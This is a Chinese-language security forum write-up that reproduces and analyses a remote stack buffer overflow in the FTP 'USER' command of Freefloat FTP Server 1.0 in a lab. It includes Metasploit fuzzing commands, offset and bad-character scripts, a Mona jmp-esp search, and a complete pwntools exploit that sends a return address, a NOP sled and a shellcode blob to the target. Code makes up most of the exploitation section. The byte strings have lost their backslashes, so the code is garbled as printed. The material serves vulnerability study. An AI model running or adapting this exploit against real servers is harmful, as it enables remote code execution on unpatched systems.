本文为看雪论坛优秀文章
看雪论坛作者ID:mb_uvhwamsn
一、漏洞信息
1. 漏洞简述
-
漏洞名称:Freefloat FTP server – ‘USER’ Remote Buffer Overflow -
漏洞编号:EDB-ID 23243 -
漏洞类型:栈溢出 -
漏洞影响:远程代码执行 -
利用难度:Esay
2. 组件概述
3. 漏洞影响
二、漏洞复现
1. 环境搭建
-
靶机环境:Windows xp sp3 -
靶机配置:
(1) freefloatftpserver1.0
(3) Mona
-
攻击机:kali 2.0 -
攻击机配置:
(1) Pwntools
2. 复现过程
2.1 Infigo FTPStress Fuzzer测试
2.2 metasploit的ftp fuzz测试
#打开metasploit
msfconsole
#查询可用的fuzz
search fuzzing
#使用ftp fuzz模块
use auxiliary/fuzzers/ftp/ftp_pre_post
#设置靶机
set RHOST 192.168.112.146
#漏洞利用
exploit
三、漏洞分析
1. 背景知识
2. 详细分析
2.1 Immunity Debugger调试
2.2 python发包测试
from pwn import *
p = remote("192.168.112.146", 21)
paylad = 'A'*500
p.sendline(payload)
p.interactive()
2.3 定位溢出点
2.4 静态分析结合动态分析
from pwn import *
p = remote("192.168.112.146", 21)
payload = 'A'*(0xfc-1) + 'cccc'
p.sendline(payload)
p.interactive()
4. 漏洞利用
(1) 利用条件
(2) 利用过程
a. 排除坏字符
from pwn import *
p = remote('192.168.112.146',21)
bytearray = (
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f"
"x20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3f"
"x40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5f"
"x60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7f"
"x80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9f"
"xa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbf"
"xc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdf"
"xe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")
payload = 'a'*(0xfc-1) + 'cccc' + bytearray
p.sendline(payload)
p.interactive()
b. 生成shellcode
c. 内存中查找jmp esp命令
!mona jmp -r esp
#或者
!mona find -s "xffxe4" -m
d. 编写exploit
from pwn import *
p = remote('192.168.112.146',21)
shellcode = (
"xbfxb9x9bxb3x2fxdbxd2xd9x74x24xf4x58x33xc9xb1"
"x53x31x78x12x83xc0x04x03xc1x95x51xdaxcdx42x17"
"x25x2dx93x78xafxc8xa2xb8xcbx99x95x08x9fxcfx19"
"xe2xcdxfbxaax86xd9x0cx1ax2cx3cx23x9bx1dx7cx22"
"x1fx5cx51x84x1exafxa4xc5x67xd2x45x97x30x98xf8"
"x07x34xd4xc0xacx06xf8x40x51xdexfbx61xc4x54xa2"
"xa1xe7xb9xdexebxffxdexdbxa2x74x14x97x34x5cx64"
"x58x9axa1x48xabxe2xe6x6fx54x91x1ex8cxe9xa2xe5"
"xeex35x26xfdx49xbdx90xd9x68x12x46xaax67xdfx0c"
"xf4x6bxdexc1x8fx90x6bxe4x5fx11x2fxc3x7bx79xeb"
"x6axdax27x5ax92x3cx88x03x36x37x25x57x4bx1ax22"
"x94x66xa4xb2xb2xf1xd7x80x1dxaax7fxa9xd6x74x78"
"xcexccxc1x16x31xefx31x3fxf6xbbx61x57xdfxc3xe9"
"xa7xe0x11x87xafx47xcaxbax52x37xbax7axfcxd0xd0"
"x74x23xc0xdax5ex4cx69x27x61x63x36xaex87xe9xd6"
"xe6x10x85x14xddxa8x32x66x37x81xd4x2fx51x16xdb"
"xafx77x30x4bx24x94x84x6ax3bxb1xacxfbxacx4fx3d"
"x4ex4cx4fx14x38xedxc2xf3xb8x78xffxabxefx2dx31"
"xa2x65xc0x68x1cx9bx19xecx67x1fxc6xcdx66x9ex8b"
"x6ax4dxb0x55x72xc9xe4x09x25x87x52xecx9fx69x0c"
"xa6x4cx20xd8x3fxbfxf3x9ex3fxeax85x7exf1x43xd0"
"x81x3ex04xd4xfax22xb4x1bxd1xe6xc4x51x7bx4ex4d"
"x3cxeexd2x10xbfxc5x11x2dx3cxefxe9xcax5cx9axec"
"x97xdax77x9dx88x8ex77x32xa8x9a")
# 0x77d29353 -> jmp esp
payload = 'a'*(0xfc-1) + "x53x93xd2x77" + "x90"*16 + shellcode
p.sendline(payload)
p.interactive()
四、参考文献
1. https://www.exploit-db.com/exploits/23243
2. https://giantbranch.blog.csdn.net/article/details/53291788
3. https://www.youtube.com/watch?v=i6Br57lh4uE
看雪ID:mb_uvhwamsn https://bbs.pediy.com/user-home-913279.htm
# 往期推荐
球分享 球点赞 球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):Freefloat FTP Server1.0栈溢出漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论